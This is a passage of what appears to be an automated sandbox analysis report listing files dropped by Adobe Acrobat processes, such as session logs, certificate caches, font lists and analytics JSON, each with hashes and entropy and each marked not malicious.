Preview:	2025/01/10-21:42:38.419 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:38.422 7e4 Recovering log #3.2025/01/10-21:42:38.429 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.213224031050259
Encrypted:	false
SSDEEP:	6:iO4qLPyq2PcNwi2nKuAl9OmbzNMxIFUtSqHj1ZmwsqBApRkwOcNwi2nKuAl9Ombg:7pavLZHAa8jFUtrj1/UP54ZHAa84J
MD5:	F160EAB3EA0C1D6265C281C695975E43
SHA1:	39D5FAAE817E386C1F08F5A1294B0414DA969C07
SHA-256:	FCFEA51875F12DF3B48C1FC683C6BC238A231BC28EEDF25D7E78B08062635CDD
SHA-512:	D0210C1DFFCDD46C4FD9DB762B693BE4F88BC1E61AB4AE8FBF716B86D901FEFE2F722B797041C17CA18279CBC7CE55D4E96962E83EEFD06034A8F33A71287EED
Malicious:	false
Preview:	2025/01/10-21:42:38.419 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:42:38.422 7e4 Recovering log #3.2025/01/10-21:42:38.429 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438621455039825
Encrypted:	false
SSDEEP:	384:yeaci5GeiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:12urVgazUpUTTGt
MD5:	A8F81477F73A12F18F6CE5565D832E1A
SHA1:	1058C257569B1803F6B03AAFC1DB386DD816AE33
SHA-256:	9F3141EEF17BF701E25C1D88FFB06DAA8563DD415FDD5DFFB934F1DC2289BA81
SHA-512:	61897EEA2ADAABE52B69AF6937128D7EA0C4AF84CB01B4D72B2E5FDCB99B977449BE76522CD53B8AA1C84CC17537C59202BFF5463959437E7B4A038013CE7EED
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7713032924168286
Encrypted:	false
SSDEEP:	48:7MBUp/E2ioyVuioy3DoWoy1CABoy1+KOioy1noy1AYoy1Wioy1hioybioy0oy1n5:7AUpjuu0iAiXKQxqb9IVXEBodRBkg
MD5:	E63F9F23B35E60D141E61642E76B9A9D
SHA1:	89999F5B08BA240739705F56ABAC8A687C6E958D
SHA-256:	16A28A37762A8CEC0F92F2D378CEDBC5745FC2505FCD2DF8D7BE5F14E6262063
SHA-512:	E7BE0B43A64FACA545D3AFA5A4016BA1EDB99AB19B57B31DD1942BBD95D587C95429592873698FEEC9E3D2034034C64E5BBCF4330DC969FEBB0287C63CBEF39C
Malicious:	false
Preview:	.... .c.......(................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.731398464046725
Encrypted:	false
SSDEEP:	3:kkFklAkT/tfllXlE/HT8kuNNX8RolJuRdxLlGB9lQRYwpDdt:kKZk/eT8lNMa8RdWBwRd
MD5:	41439BF8CFBF91F7738938377413F850
SHA1:	2B58DFC54EEBB9BC5B46902C77144E6218D458E7
SHA-256:	0DD5BDE0D5B465E0B40B925608BDCAF9ED8F187EA8604E84EE91576C489A4504
SHA-512:	122C0C5165C7C14543F39822A6D2DBA0D73C82A55AA1E27910EAE9EF733A2FD851ADED8106406EC0754939F8980EB2E1925025CA56AB316AFE2EADCA45AA7937
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kK1ZL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:niDImsLNkPlE99SNxAhUe/3
MD5:	179741B8681547A81BB85294326EC28B
SHA1:	807B2C410871D923E4F79157B062AA179557E66C
SHA-256:	0AD09C77E3737CB40929984696EE243F82898673EA55DF56797DF203E71AFFBC
SHA-512:	2E76CC38E781F01586849FDA86049FE980D3FDE643309831F88639B5828362344E44940D246A4F3E3224781F168033BDBFB55868A50756835F37269115EDE405
Malicious:	false
Preview:	p...... ........Q.b..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8168

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3829444813871286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJM3g98kUwPeUkwRe9:YvXKXBkvP7ObsdTeOWdGMbLUkee9
MD5:	DBE8E10C9464B782E1F5848C1CDDB054
SHA1:	1251AD72A1B5E8846700FFABCAB4DE23267ED011
SHA-256:	38BAE047B0BBFE55DFAE9F3905A6BB8962FBF656754FCA02829E3DE9B6C574D5
SHA-512:	40F769480A5BF0CFBF0E364B9B96DDA79427546BE6AFB44F96A25F41F1C421190432510DCA91A585C7CD765480F3672D1AE1C1E3E330FE50801C0A87DEF9C08D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319698921020954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfBoTfXpnrPeUkwRe9:YvXKXBkvP7ObsdTeOWdGWTfXcUkee9
MD5:	E0C53FA0D1FFFC40AEA39C66BDC31ADA
SHA1:	E60D9882D60B6E791A4AB25AFB98DD913EEC0410
SHA-256:	0AB7259B4C155A77904BBA497E63A8506154FFD21B6A365A8D0E71B090E33A3E
SHA-512:	2B2460024A1BC186433AB06FCD2F3D6C368C4823FBDA0C7898F618F0127E8454EFF3CD64301630EDF6945E695CF217D11C1092B371261D9B4F0DAFF715C9D883
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298405135247833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfBD2G6UpnrPeUkwRe9:YvXKXBkvP7ObsdTeOWdGR22cUkee9
MD5:	87A5857D9A336D985CF81EC3FB8C9907
SHA1:	4A9C0E4D0D15260534799405C1A214266CDF5D2F
SHA-256:	382DA8D85FC3B217A687EF8FC8FE174F415F59AECEA013B7EAC36F49CE8CA07E
SHA-512:	9D1E38E04F33355C83D801C1CD3DB388FE1BE64EA0D84688F746730DCC7489C82E2DF6F0B09BB1D0580ABBCA3E8431A4C3DDAD243562A269997CF81E13C4DDD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.37050984050931
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfPmwrPeUkwRe9:YvXKXBkvP7ObsdTeOWdGH56Ukee9
MD5:	FECD365AF952F55FABD07300265CBD91
SHA1:	537A820048911BBF2B997589F6420BD0E4905C64
SHA-256:	FE5F1E0855EAB978F49B77864CB4AC18D64C4581CCA662CB5E5E3029511269B3
SHA-512:	225FBC74FD087EB2F8CBE7863D5A362E548C70CCD543C8FF339D6A40E7E8ED0E1BCB4C22A90A0E7E502385C65D816968C57789843C70A3AC6A3413016F0D50CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688941845165046
Encrypted:	false
SSDEEP:	24:Yv6XBkameOWipLgE9cQx8LennAvzBvkn0RCmK8czOCCSy:YvEmeihgy6SAFv5Ah8cv/y
MD5:	B8BD7A604AC932EFD17AA89FF9CCAE03
SHA1:	9B5C15352A6BAAC28052B3F54192494655755590
SHA-256:	055662B4388A9CEA763465A654DD94CB60C455166FBE3B36BB4B14C9B6FA3757
SHA-512:	91D942C2F042D87D569F6B78C4C0EF01B36FDA5E1CA4360C7F5BAAC115C29776F0B3CB7A73109BD04255FDFC103AE7F8A2ED15244579DF172565BE2FB8E24918
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306292912264121
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJf8dPeUkwRe9:YvXKXBkvP7ObsdTeOWdGU8Ukee9
MD5:	A61F9D85526D333926B4A5772B6AD197
SHA1:	4E9134231EBCDC0D8C4CE23E319A90CB6051C184
SHA-256:	9091A556F24794DF53F277D0AB80A77E24683BC97EE7F9A3AED6DB57BDA43F64
SHA-512:	8CACFC0E51015FBBB5A57A04B1E09F6722228503134D16F6AD9FB31B1B8E5CFDBCCF53C818BDD9D1F5DD352EAD70A3209EFBAECD00A812E181AA0D0B60A1948D
Malicious:	false
